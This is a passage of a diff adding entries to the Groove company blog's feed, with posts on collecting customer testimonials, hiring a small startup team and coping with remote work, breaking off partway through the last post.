+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/a-letter.png&quot; alt=&quot;A letter from potential customer who decided to go with Zendesk&quot; /&gt;&lt;/p&gt;
+
+&lt;p&gt;It’s frustrating, infuriating and agonizing at the same time.&lt;/p&gt;
+
+&lt;p&gt;Every startup with a big competitor knows this battle: when you’re the little guy, you’re &lt;em&gt;not&lt;/em&gt; the “safe†choice.&lt;/p&gt;
+
+&lt;p&gt;You’re the risk. You’re the one that has to scrap harder to get picked.&lt;/p&gt;
+
+&lt;p&gt;That saying, “nobody ever got fired for hiring IBM�&lt;/p&gt;
+
+&lt;p&gt;In our world, nobody ever got fired for signing up for Zendesk.&lt;/p&gt;
+
+&lt;p&gt;When something as critical as customer support is on the line, people want to know that they can &lt;em&gt;trust&lt;/em&gt; the company they’re hiring. They want to know that our product will work for them, &lt;em&gt;specifically&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;And if they choose Zendesk, it’s often because there are tens of thousands of others &lt;em&gt;just like them&lt;/em&gt; using Zendesk, too. It sure makes the decision a lot easier to justify.&lt;/p&gt;
+
+&lt;p&gt;We can’t fault prospects for that: I’ll almost &lt;em&gt;always&lt;/em&gt; take the safe choice, too.&lt;/p&gt;
+
+&lt;p&gt;The challenge, then, is: how does the scrappy, unproven startup become more of a sure thing?&lt;/p&gt;
+
+&lt;p&gt;While we’re always learning and we still have a long way to go, we’ve gotten pretty good at making that case over the last couple of years, and one of the things that’s helped us the &lt;em&gt;most&lt;/em&gt; is using testimonials to help prospects overcome those “uncertainty†objections.&lt;/p&gt;
+
+&lt;h2&gt;The Power of Testimonials&lt;/h2&gt;
+
+&lt;p&gt;It’s no secret: people tend to follow others like them.&lt;/p&gt;
+
+&lt;p&gt;Marketers call it &lt;a href=&quot;http://en.wikipedia.org/wiki/Social_proof&quot;&gt;social proof&lt;/a&gt;: when we see lots of others doing something, we assume that that’s the correct behavior.&lt;/p&gt;
+
+&lt;p&gt;There have been dozens of studies on social proof. &lt;a href=&quot;http://psycnet.apa.org/journals/psp/13/2/79/&quot;&gt;This&lt;/a&gt; is one of my favorites, in which a psychologist placed people standing on a sidewalk staring up at a building, and observed hundreds of passerby stopping to stare up when they saw his actors, too.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/what-is-that.jpg&quot; title=&quot;What IS that?&quot; alt=&quot;What IS that?&quot; /&gt;
+&lt;b&gt;What IS that?&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;But social proof is only one side of it.&lt;/p&gt;
+
+&lt;p&gt;How many times have we been like the people at the beginning of this post?&lt;/p&gt;
+
+&lt;p&gt;When we see a product that looks like it works well, we sometimes think: &lt;em&gt;great, but it probably won’t work for me because I’m (insert any unique trait or condition here).&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;We build objections to any marketing pitch we see, and testimonials help to overcome those by showing us that &lt;em&gt;yes&lt;/em&gt;, this product &lt;em&gt;does&lt;/em&gt; work for people just like us.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; The psychology of testimonials is deep and powerful, and lies on two important pillars: social proof and overcoming the objection that your product won’t work for a particular customer.&lt;/p&gt;
+
+&lt;h2&gt;What Makes a Good Testimonial?&lt;/h2&gt;
+
+&lt;p&gt;At Groove, we’ve found that good testimonials increase conversions by up to 15% on our homepage, guest post landing pages and email marketing.&lt;/p&gt;
+
+&lt;p&gt;What’s a &lt;em&gt;good&lt;/em&gt; testimonial?&lt;/p&gt;
+
+&lt;p&gt;Hint: it’s not a fluffy, gushing “Groove is amazing and changed my life†statement. It’s much more nuanced than that.&lt;/p&gt;
+
+&lt;p&gt;I encourage everyone to read Sean D’Souza’s two-part Copyblogger series on &lt;em&gt;The Secret Life of Testimonials&lt;/em&gt; (&lt;em&gt;&lt;a href=&quot;http://www.copyblogger.com/testimonials-part-1/&quot;&gt;Part One&lt;/a&gt; and &lt;a href=&quot;http://www.copyblogger.com/testimonials-part-2/&quot;&gt;Part Two&lt;/a&gt;&lt;/em&gt;), but what we’ve found is that the best-testing testimonials are &lt;em&gt;specific about who the testimonial writer is,&lt;/em&gt; and &lt;em&gt;what problem Groove solved for them&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/example-mini-testimonial.jpg&quot; title=&quot;Example Mini-Testimonial&quot; alt=&quot;Example Mini-Testimonial&quot; /&gt;
+&lt;b&gt;Example Mini-Testimonial&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;The first part helps the reader put themselves in the shoes of the testimonial writer. As a SaaS founder, I’m a lot more likely to relate, for example, to Allan Branch, another SaaS founder, than the anonymous “John S., Boston, MA†that I see offering up testimonials all over the web.&lt;/p&gt;
+
+&lt;p&gt;The second part, &lt;em&gt;specificity about a problem&lt;/em&gt;, demonstrates to the reader &lt;em&gt;not&lt;/em&gt; just that your product is generally good (that’s not enough), but that you can solve &lt;em&gt;their&lt;/em&gt; problem.&lt;/p&gt;
+
+&lt;p&gt;In the example above, one of the most pressing problems we’ve found in our customer development is that enterprise help desk users feel bogged down by the complexity of the software, so we need to make sure we hit that pain point in our testimonials.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Good testimonials aren’t fluffy; they communicate &lt;em&gt;very specifically&lt;/em&gt; the type of person the testimonial writer is and the type of problem they’ve been able to overcome. This helps readers put themselves in the storyteller’s shoes.&lt;/p&gt;
+
+&lt;h2&gt;How We Get Good Testimonials&lt;/h2&gt;
+
+&lt;p&gt;Unfortunately, it’s not as simple as saying “could you please provide a testimonial?â€&lt;/p&gt;
+
+&lt;p&gt;Sure, that’ll get you a testimonial, but it’ll probably be a weak, generic and canned-sounding blurb that won’t help you any more than &lt;em&gt;not&lt;/em&gt; having testimonials.&lt;/p&gt;
+
+&lt;p&gt;But we’ve found that while it’s not &lt;em&gt;that&lt;/em&gt; simple, it is fairly straightforward to get good testimonials by following a few basic approaches.&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;Note: in all of the examples below, we &lt;strong&gt;never&lt;/strong&gt; post a testimonial without first asking the customer for permission.&lt;/em&gt;&lt;/p&gt;
+
+&lt;h3&gt;1) Capturing Objections&lt;/h3&gt;
+
+&lt;p&gt;Every single person who signs up for Groove gets this email:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/you-are-in.png&quot; title=&quot;“You’re In†Email&quot; alt=&quot;“You’re In†Email&quot; /&gt;
+&lt;b&gt;“You’re In†Email&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;It’s not just amazingly valuable for collecting qualitative data about the “conversion triggers†that worked in getting people to sign up, but it gives us profound insight into the objections and obstacles people had to overcome to make the choice to sign up for Groove.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/objections-and-challenges.png&quot; title=&quot;Objections and Challenges&quot; alt=&quot;Objections and Challenges&quot; /&gt;
+&lt;b&gt;Objections and Challenges&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;(Alex note: the person who sent that email above has now been a customer for six months).&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;Often we’ll go back in a few weeks or months and follow up with customers to see how they’re doing. Using those stories (customers who went from big challenges to being successful using Groove) in our testimonials helps us connect deeply with prospects going through the same emotions.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway: &lt;/strong&gt;Good testimonials don’t just capture the &lt;em&gt;end result&lt;/em&gt;. They capture the struggles and objections at the beginning, too.&lt;/p&gt;
+
+&lt;h3&gt;2) Listening to Customers&lt;/h3&gt;
+
+&lt;p&gt;If you’ve been following the blog, you know that we spend a lot of time talking to our customers.&lt;/p&gt;
+
+&lt;p&gt;Mo, our head of support, does it for 8+ hours per day. The rest of our team engages with customers, too. I devote at least a quarter of my time to talking to Groove customers.&lt;/p&gt;
+
+&lt;p&gt;(In fact, one of my goals for the next few months is to talk to every single one of our customers about their experiences and how we can improve.)&lt;/p&gt;
+
+&lt;p&gt;And while the goal of our conversations is &lt;em&gt;always&lt;/em&gt; to help the customer do better with Groove, we’ve also learned to listen for the underlying stories they share about their experiences.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/underlying-stories.png&quot; title=&quot;Underlying Stories&quot; alt=&quot;Underlying Stories&quot; /&gt;
+&lt;b&gt;Underlying Stories&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;It’s usually in these natural conversations — and not the canned requests for testimonials — that we get the best, most compelling customer stories.&lt;/p&gt;
+
+&lt;p&gt;Once the conversation is over or the support issue is resolved, we’ll go back and ask the customer if we can share their story.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; There are a lot of important reasons to always be talking with your customers. Being able to spot and extract powerful testimonials is just one of them.&lt;/p&gt;
+
+&lt;h3&gt;3) The Straight Ask&lt;/h3&gt;
+
+&lt;p&gt;Sometimes, customers don’t necessarily &lt;em&gt;need&lt;/em&gt; to talk to you; they’re doing just fine on their own.&lt;/p&gt;
+
+&lt;p&gt;And if they’re busy, it can be hard to get them on the phone with you.&lt;/p&gt;
+
+&lt;p&gt;But if we know someone is succeeding with Groove and that their story might make a great testimonial, we’ll send them an email that looks like this:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/testimonial-request.png&quot; title=&quot;Testimonial Request&quot; alt=&quot;Testimonial Request&quot; /&gt;
+&lt;b&gt;Testimonial Request&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Notice how we don’t just ask for a testimonial, but &lt;em&gt;walk them through the steps required&lt;/em&gt; to hit the most important traits of a great testimonial.&lt;/p&gt;
+
+&lt;p&gt;The script above is yours to use as you’d like; I hope it nets you some powerful stories.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; The way you ask for a testimonial can mean the difference between a crappy testimonial and an amazing one. It takes a bit more work, but it’s worth doing right.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;Testimonials can be a powerful tool, and if you’re not already using them, I hope this post inspires you to test them in your marketing.&lt;/p&gt;
+
+&lt;p&gt;If you &lt;em&gt;are&lt;/em&gt; using them, but your testimonials aren’t as good as they could be — this is almost always the case, as we’re also always working to improve our customer stories — I hope you’ll revisit them now.&lt;/p&gt;
+
+&lt;p&gt;Feel free to use the scripts and strategies above to tell better stories, connect more deeply with your prospects and improve your conversions.&lt;/p&gt;
+</content>
+<published>2014-09-04T00:00:00+00:00</published>
+<updated>2014-09-04T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>Lessons Learned Building a Startup Team</title>
+<link href='/blog/building-a-team' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-08-28:/blog/building-a-team</id>
+<content type='html'>&lt;p&gt;Building a team that works well together isn't easy. Here's how we've approached hiring at Groove…&lt;/p&gt;
+
+&lt;p&gt;At first, it was just me.&lt;/p&gt;
+
+&lt;p&gt;I hired an engineering team at an agency to build Groove’s beta product, and went to work doing &lt;em&gt;everything&lt;/em&gt; else: product spec, sales, marketing, QA, customer support, research, project management, investor relations.&lt;/p&gt;
+
+&lt;p&gt;Then, it was Edmond and me. Edmond was a developer I hired to bring the app “in house†after MojoTech was finished with it.&lt;/p&gt;
+
+&lt;p&gt;When you’re a team of one or two, you don’t worry about hiring. &lt;em&gt;Every&lt;/em&gt; job is yours, and you find a way to get it done, whether you know how to do it or not.&lt;/p&gt;
+
+&lt;p&gt;But eventually, with a ton of hustle and some good luck, you get a chance to grow. We were fortunate in that regard, and it was soon time to figure out how to build a small team.&lt;/p&gt;
+
+&lt;p&gt;Now, two years later, we’re a full-time team of six.&lt;/p&gt;
+
+&lt;p&gt;Granted, in the scheme of things, we’re still &lt;em&gt;tiny&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;In fact, people have asked me incredulously how we support so many customers with so few employees. But if you think about it, it’s actually not crazy at all.&lt;/p&gt;
+
+&lt;p&gt;Take a company like &lt;a href=&quot;http://www.basecamp.com&quot;&gt;Basecamp&lt;/a&gt;, which has 35 employees and supports &lt;a href=&quot;http://www.quora.com/How-many-paid-customers-does-Basecamp-have&quot;&gt;more than 300,000 paying customers&lt;/a&gt;. That’s one employee for every 9,000+ customers.&lt;/p&gt;
+
+&lt;p&gt;Or &lt;a href=&quot;http://www.bufferapp.com&quot;&gt;Buffer&lt;/a&gt;, a 23-person team supporting &lt;a href=&quot;http://open.bufferapp.com/buffers-july-content-marketing-report/&quot;&gt;nearly 700,000 users&lt;/a&gt;, at one employee per &lt;em&gt;30,000+&lt;/em&gt; customers.&lt;/p&gt;
+
+&lt;p&gt;Sure makes our 1-employee-per-333-customers seem like small potatoes.&lt;/p&gt;
+
+&lt;p&gt;But even building a tiny team, we’ve learned valuable lessons, made some mistakes, and scored big wins to get to where we are.&lt;/p&gt;
+
+&lt;p&gt;So when I got this email from a reader…&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/building-a-team/hiring-question.png&quot; title=&quot;Hiring Question&quot; alt=&quot;Hiring Question&quot; /&gt;
+&lt;b&gt;Hiring Question&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;I thought it would be helpful to share some of the lessons we’ve learned along the way:&lt;/p&gt;
+
+&lt;h3&gt;1) At First, Hire for Immediate Needs Only.&lt;/h3&gt;
+
+&lt;p&gt;When we first started, Groove needed to accomplish two things: make a product, and get it into people’s hands.&lt;/p&gt;
+
+&lt;p&gt;For better or worse, we weren’t too worried about accounting, legal filings, operations or HR. Yet.&lt;/p&gt;
+
+&lt;p&gt;So we focused on hiring people who could help us accomplish our two main goals.&lt;/p&gt;
+
+&lt;p&gt;I wasn’t looking for anyone that could be trained to do a great job &lt;em&gt;tomorrow&lt;/em&gt; (more on how that’s changed below), but instead I wanted people who had the skills and experience to get us closer to where we wanted to go &lt;em&gt;today&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;At the time, we were working on transitioning our development from &lt;a href=&quot;http://www.mojotech.com&quot;&gt;MojoTech&lt;/a&gt;, the agency who &lt;a href=&quot;http://www.groovehq.com/blog/technical-co-founder&quot;&gt;built our first iteration&lt;/a&gt;. We needed developers who could deeply understand the existing codebase and build the features we wanted to build immediately.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/building-a-team/old-job-posting.png&quot; title=&quot;An Old Job Posting&quot; alt=&quot;An Old Job Posting&quot; /&gt;
+&lt;b&gt;An Old Job Posting&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;So my first hire was Edmund, a full-stack developer, and a bit later, Chris, a back-end engineer.&lt;/p&gt;
+
+&lt;p&gt;Not long after that, I hired Jordan, another full-stack developer.&lt;/p&gt;
+
+&lt;p&gt;While Edmund had to take off for personal reasons, Jordan and Chris are still part of our team today.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; When you’re starting out, don’t worry about who you’ll need in six months or a year. Focus on getting the people who can create progress &lt;em&gt;today.&lt;/em&gt;&lt;/p&gt;
+
+&lt;h3&gt;2) Once Tomorrow Is Secure, Hire for the Future.&lt;/h3&gt;
+
+&lt;p&gt;Early on, we didn’t really have the luxury of planning for next month, let alone next year.&lt;/p&gt;
+
+&lt;p&gt;But when we turned a corner and hit Product/Market Fit, Groove began to grow fast. We were hitting the milestones on our product roadmap, and building at a good pace.&lt;/p&gt;
+
+&lt;p&gt;We had the runway to plan for the future, and so our hiring changed a bit to reflect that.&lt;/p&gt;
+
+&lt;p&gt;In general, the approach we’ve taken is this: it’s time to hire for a position when the pain of &lt;em&gt;not&lt;/em&gt; having that person on your team is bigger than the cost of adding them.&lt;/p&gt;
+
+&lt;p&gt;Here’s an example: In our first year, I was pounding the pavement, selling Groove to anyone who would listen. Over time, the need for a customer support person became more and more pressing. I couldn’t continue doing &lt;em&gt;all&lt;/em&gt; of the support and marketing at the same time.&lt;/p&gt;
+
+&lt;p&gt;That’s when I hired Adam, one of my childhood best friends, to join us as our Head of Customer Success.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; After you turn a corner and have the benefit of being able to think months — and years — ahead, that’s when you should start to make the hires that will help you achieve the goals you’re setting out.&lt;/p&gt;
+
+&lt;h3&gt;3) Turnover Will Happen. It Won’t Be as Bad as You Think.&lt;/h3&gt;
+
+&lt;p&gt;Several months ago, Adam left Groove to return to the finance world.&lt;/p&gt;
+
+&lt;p&gt;It was a smart move; he has a new baby, and needed more stability and income than a startup could provide.&lt;/p&gt;
+
+&lt;p&gt;When he told me he was leaving, I couldn’t help but panic.&lt;/p&gt;
+
+&lt;p&gt;It’s not that I expected him to stay forever; in fact, early on, we had talked about this being a temporary arrangement while we got the company off of the ground.&lt;/p&gt;
+
+&lt;p&gt;But over two years of working together, &lt;em&gt;we&lt;/em&gt; — not &lt;em&gt;I&lt;/em&gt; — had become Groove.&lt;/p&gt;
+
+&lt;p&gt;When your company is two, three, four, five or six people — people who battle in the trenches together every single day — it can be hard to envision the business without those team members. Thinking about losing them can be a tough shock to the system.&lt;/p&gt;
+
+&lt;p&gt;Plus, there’s always the fear: &lt;em&gt;what will people think? Our customers talk to Adam every day, are they going to be upset that he’s gone? Will everyone think we’re in trouble because our first employee is leaving?&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;As a &lt;a href=&quot;http://www.groovehq.com/blog/fear&quot;&gt;founder with many fears&lt;/a&gt;, it can be paralyzing.&lt;/p&gt;
+
+&lt;p&gt;But, as with most things, it never ends up being as bad as you think it’ll be.&lt;/p&gt;
+
+&lt;p&gt;Adam was gracious to give us more than a month’s notice, and helped us find and train Mo, our new Head of Customer Success, who’s been an amazing addition to our team (our customers agree).&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/building-a-team/alive-and-well.png&quot; title=&quot;Alive and Well&quot; alt=&quot;Alive and Well&quot; /&gt;
+&lt;b&gt;Alive and Well&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;(For anyone interested, Adam is still one of my best friends.)&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Losing a team member is scary for a startup, but it won’t end up being nearly as bad as you fear. Try to make the most of their final weeks and have them help you train their replacement. Either way, life — and business — goes on.&lt;/p&gt;
+
+&lt;h3&gt;4) Supplement With Part-time Help.&lt;/h3&gt;
+
+&lt;p&gt;Not every need requires a full-time effort to fill.&lt;/p&gt;
+
+&lt;p&gt;There’s a lot of resistance among founders I’ve talked to when it comes to hiring part-time help. They say things like “we want someone who’s going to be part of the team,†and end up hiring full-time employees to fill part-time needs.&lt;/p&gt;
+
+&lt;p&gt;It doesn’t have to be all-or-nothing.&lt;/p&gt;
+
+&lt;p&gt;Along our journey, I’ve supplemented the Groove team with part time help, and it’s allowed us to stay lean as we grow. In fact, we still use a part-time designer for the header art on this blog.&lt;/p&gt;
+
+&lt;p&gt;It’s also opened up big opportunities for us: sometimes, the people you want on your team aren’t necessarily &lt;em&gt;available&lt;/em&gt; for a full-time gig.&lt;/p&gt;
+
+&lt;p&gt;Len, our head of marketing, was consulting for a number of companies when he first joined us to work part-time with copy and messaging. Over time, he’s helped us with content strategy, messaging and copy for our &lt;a href=&quot;http://www.groovehq.com/blog/long-form-landing-page&quot;&gt;site redesign&lt;/a&gt;. It wasn’t until two years later that the stars aligned and he wrapped up his other projects to come join our team full-time.&lt;/p&gt;
+
+&lt;p&gt;A bit of a teaser: Len’s hiring also has &lt;em&gt;a lot&lt;/em&gt; to do with &lt;em&gt;Lesson 3&lt;/em&gt; above, as he’s going to be heading up a new blog we’re excited to announce soon and helping us to &lt;a href=&quot;http://www.groovehq.com/blog/12-month-growth-strategy&quot;&gt;double down on content&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/building-a-team/coming-soon.png&quot; title=&quot;Coming Soon&quot; alt=&quot;Coming Soon&quot; /&gt;
+&lt;b&gt;Coming Soon&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Serg, our front-end developer, started out working just a few hours per week, helping us to code our blog posts. Now, several months later, he’s a big part of the team, coding everything from our marketing site to our app UI.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Don’t be afraid to lean on part-time help. If you don’t need a full-time employee, it can save you money. If you &lt;em&gt;are&lt;/em&gt; looking for a full-time solution, it can plug the gap while you search. And often, it can end up becoming a full-time arrangement in the future.&lt;/p&gt;
+
+&lt;h3&gt;5) Reduce the Risk for Everyone.&lt;/h3&gt;
+
+&lt;p&gt;A bad hire is always costly. For a startup, it can be devastating.&lt;/p&gt;
+
+&lt;p&gt;When I say &lt;em&gt;bad hire,&lt;/em&gt; I’m not referring to the person you’re hiring. I’m referring to the &lt;em&gt;decision&lt;/em&gt; to hire someone that’s not the right fit for your team, and then the &lt;em&gt;passive&lt;/em&gt; decision to keep them there.&lt;/p&gt;
+
+&lt;p&gt;It’s a mistake that’s burned me in the past, and I was determined not to let it happen with Groove.&lt;/p&gt;
+
+&lt;p&gt;That’s why we use the trial-to-hire method: every new employee joins us for a “trial project†— something they can do during nights and weekends while keeping their current job — of 2-4 weeks. After the project is done — although usually, it’s apparent much sooner — we can evaluate whether we’re the best fit for each other.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/building-a-team/our-hiring-process.png&quot; title=&quot;Our Hiring Process&quot; alt=&quot;Our Hiring Process&quot; /&gt;
+&lt;b&gt;Our Hiring Process&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;This approach has helped us slowly but effectively build a team that works — and fits — well together.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Hiring someone is a big investment, and can be risky for both parties. Interviews can only tell you so much. Use trials to make sure that every new team member fits in well.&lt;/p&gt;
+
+&lt;h3&gt;6) Don’t Be Too Slow to Spot a Poor Fit.&lt;/h3&gt;
+
+&lt;p&gt;There are few management cliches more often-repeated than “hire fast, fire faster.â€&lt;/p&gt;
+
+&lt;p&gt;And while I don’t necessarily agree with the first part (we hire pretty carefully and methodically), I know that I could use some help internalizing the second part.&lt;/p&gt;
+
+&lt;p&gt;Sometimes, you make mistakes.&lt;/p&gt;
+
+&lt;p&gt;You hire people, and it doesn’t work out. Maybe they’re not a great fit for the team. Maybe their strengths aren’t what you thought they would be. Maybe you misjudged the need for a full-time person in their position.&lt;/p&gt;
+
+&lt;p&gt;Whatever it is, these mistakes can be very costly.&lt;/p&gt;
+
+&lt;p&gt;Here’s the problem: a person is not an app. Regardless of whether you have a “pay-as-you-go†contract with them or not, cutting ties with and employee is a much more difficult and emotional act than canceling an app subscription.&lt;/p&gt;
+
+&lt;p&gt;In my entire career, I’ve had to fire dozens of people. People with families and responsibilities. It’s devastating, and over the years, it hasn’t gotten any easier.&lt;/p&gt;
+
+&lt;p&gt;If anything, it’s gotten &lt;em&gt;harder&lt;/em&gt;, as I get angry with myself for continuing to make hiring mistakes from time to time, costing people their jobs.&lt;/p&gt;
+
+&lt;p&gt;But at the end of the day, keeping an employee who isn’t a good fit for the team can be &lt;em&gt;crippling&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;It brings down the whole team, and ties up cash you could be using for better investments in your business.&lt;/p&gt;
+
+&lt;p&gt;It’s tempting to &lt;em&gt;try and make it work&lt;/em&gt;; to brainstorm and try to figure out ways to make the fit &lt;em&gt;better&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;But I’ve never been good enough to do that successfully.&lt;/p&gt;
+
+&lt;p&gt;One of the things I’ve learned — and worked on a lot over the past year — is being much faster to spot whether a new team member is a good fit or not.&lt;/p&gt;
+
+&lt;p&gt;It takes some unpleasant brutal honesty with yourself, but in the long run, it’s critical to your business’ future.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Firing people is hard. Really hard. But if you want to hire and manage a successful team, you need to learn how to determine whether or not someone is going to be a strong part of your team’s makeup in the long term, and if the answer is no, you need to take action as soon as you can.&lt;/p&gt;
+
+&lt;h2&gt;How to apply this to your business&lt;/h2&gt;
+
+&lt;p&gt;I don’t know if this is the &lt;em&gt;best&lt;/em&gt; way to build a startup team.&lt;/p&gt;
+
+&lt;p&gt;But it’s certainly worked well for us.&lt;/p&gt;
+
+&lt;p&gt;If you’re at a crossroads with hiring and thinking about how to move forward, I hope that our experiences can help shine some light on one possible approach.&lt;/p&gt;
+
+&lt;p&gt;I’d also be interested to hear about your own hiring lessons learned: just leave a note in the comments below.&lt;/p&gt;
+</content>
+<published>2014-08-28T00:00:00+00:00</published>
+<updated>2014-08-28T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>14 Ways Our Remote Team Stays Sane Working From Home</title>
+<link href='/blog/staying-sane-working-solo' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-08-21:/blog/staying-sane-working-solo</id>
+<content type='html'>&lt;p&gt;Like most founders, I can’t say that I consider myself completely “sane.â€&lt;/p&gt;
+
+&lt;p&gt;By the very nature of our jobs, we’re taking big risks, and our dreams are far beyond what the data suggests we can reasonably expect.&lt;/p&gt;
+
+&lt;p&gt;To take that plunge, I think you &lt;em&gt;have&lt;/em&gt; to be a little bit strange.&lt;/p&gt;
+
+&lt;p&gt;I have quirks, &lt;a href=&quot;http://www.groovehq.com/blog/fear&quot;&gt;paralyzing fears&lt;/a&gt; and &lt;a href=&quot;http://www.groovehq.com/blog/single-founder-loneliness&quot;&gt;near-breakdowns&lt;/a&gt;, and many of the founders I know do, too.&lt;/p&gt;
+
+&lt;p&gt;That’s all made worse by the fact that for most of my working hours, there’s not a single person in the physical space around me.&lt;/p&gt;
+
+&lt;p&gt;We’re a &lt;a href=&quot;http://www.groovehq.com/blog/being-a-remote-team&quot;&gt;remote team&lt;/a&gt;, so it’s something that everyone at Groove deals with.&lt;/p&gt;
+
+&lt;p&gt;For some — including me — working solo is the &lt;em&gt;best&lt;/em&gt; way to go. I’m still happier and more productive than I’ve ever been working from a shared office.&lt;/p&gt;
+
+&lt;p&gt;But still, the isolation can get to you.&lt;/p&gt;
+
+&lt;p&gt;Over the years, I’ve become much better at spotting when the isolation is about to get to me. And I’ve developed a number of ways to stop it in its tracks.&lt;/p&gt;
+
+&lt;p&gt;In 3 years of working solo, here’s what I’ve found works best to help me stay sane working from home:&lt;/p&gt;
+
+&lt;h2&gt;1) Playing&lt;/h2&gt;
+
+&lt;p&gt;I work hard. We all do.&lt;/p&gt;
+
+&lt;p&gt;So when I look out my window and see that the surf is looking particularly good that day, I feel no guilt about taking my board to the beach for a couple of hours.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/alex-surfing.jpg&quot; title=&quot;Taking a break&quot; alt=&quot;Taking a break&quot; /&gt;
+&lt;b&gt;Taking a break&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;It’s a welcome release, and doing something I love helps me get out of my “work†head. More often than not, I come back to work refreshed, relaxed and ready to tackle the next big task.&lt;/p&gt;
+
+&lt;h2&gt;2) Walking the Dog&lt;/h2&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/the-dog.jpg&quot; title=&quot;The Honey Badger&quot; alt=&quot;The Honey Badger&quot; /&gt;
+&lt;b&gt;The Honey Badger&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Working from home is absolutely NOT a good-enough reason to get a dog (or any pet). Caring for a dog takes a lot of time and effort; everything people say about dog ownership being a big commitment is true.&lt;/p&gt;
+
+&lt;p&gt;But I will say this: having a dog &lt;em&gt;forces&lt;/em&gt; me to take daily breaks that I might not otherwise take, and that’s a very, &lt;em&gt;very&lt;/em&gt; powerful benefit. It gets me out of the house, and while I don’t know if I’d call my leisurely strolls exercise, they certainly make me feel better.&lt;/p&gt;
+
+&lt;h2&gt;3) Team Chat (Not Just for Work)&lt;/h2&gt;
+
+&lt;p&gt;We’re on Slack all day at Groove, and more than 95% of our team’s communication takes place there (with the other 5% being Screenhero and Skype).&lt;/p&gt;
+
+&lt;p&gt;Team chat is a huge asset to any remote team, but what many people don’t talk about is the &lt;em&gt;social&lt;/em&gt; aspect of it. We have the “water cooler†conversations in our Slack room that we’d otherwise use for casual social interaction in an office, and it’s a lot of fun.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/the-water-cooler.jpg&quot; title=&quot;The Water Cooler&quot; alt=&quot;The Water Cooler&quot; /&gt;
+&lt;b&gt;The Water Cooler&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;It certainly helps us feel like we’re not always working.&lt;/p&gt;
+
+&lt;h2&gt;4) Having Regular Calls (Even When You Don’t Have To)&lt;/h2&gt;
+
+&lt;p&gt;To me, hearing another person’s voice helps me feel like I’m not the only one in the room.&lt;/p&gt;
+
+&lt;p&gt;And while we have weekly team calls, and I’m almost always on Skype with one or more of our employees every day, sometimes that’s not enough.&lt;/p&gt;
+
+&lt;p&gt;So I schedule calls to connect with other founders and startup folks. It helps me build my network and learn from others, while giving me the benefit of actually &lt;em&gt;connecting&lt;/em&gt; with other people while I sit at home.&lt;/p&gt;
+
+&lt;h2&gt;5) Sleeping Well&lt;/h2&gt;
+
